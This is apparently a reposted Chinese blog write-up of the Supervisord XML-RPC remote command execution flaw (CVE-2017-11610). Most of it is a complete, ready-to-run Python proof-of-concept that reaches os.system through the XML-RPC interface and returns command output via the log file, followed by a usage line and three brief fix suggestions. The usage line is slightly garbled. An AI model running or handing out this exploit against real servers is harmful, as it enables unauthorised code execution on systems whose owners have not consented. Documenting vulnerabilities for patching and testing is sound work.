Supervisord 远程命令执行漏洞(CVE-2017-11610)
漏洞描述:
Supervisord是使用Python 开发的进程管理程序,Supervisord能够将命令行进程或服务变为后台运行的deamon(守护进程)。Supervisord拥有监控进程状态的功能,在进程异常退出时能够自动重启进程。
Supervisord在配置了Web接口后,服务器会启动一个XMLRPC服务器,端口号为9001,利用本漏洞,在获取接口访问权限后,远程攻击者可利用发送一段精心构造的请求,导致可在服务器执行任意代码。
复现过程:
1.访问ip:port
2.构造poc
#!/usr/bin/env python3
import xmlrpc.client
import sys
target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
????old = getattr(proxy, 'supervisor.readLog')(0,0)
????logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
????getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
????result = getattr(proxy, 'supervisor.readLog')(0,0)
????print(result[len(old):])
3.Poc利用
python3 url/RPC2? ?'命令'
修复建议:
1.升级Supervisord
2.端口访问控制
3.设置复杂RPC密码
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!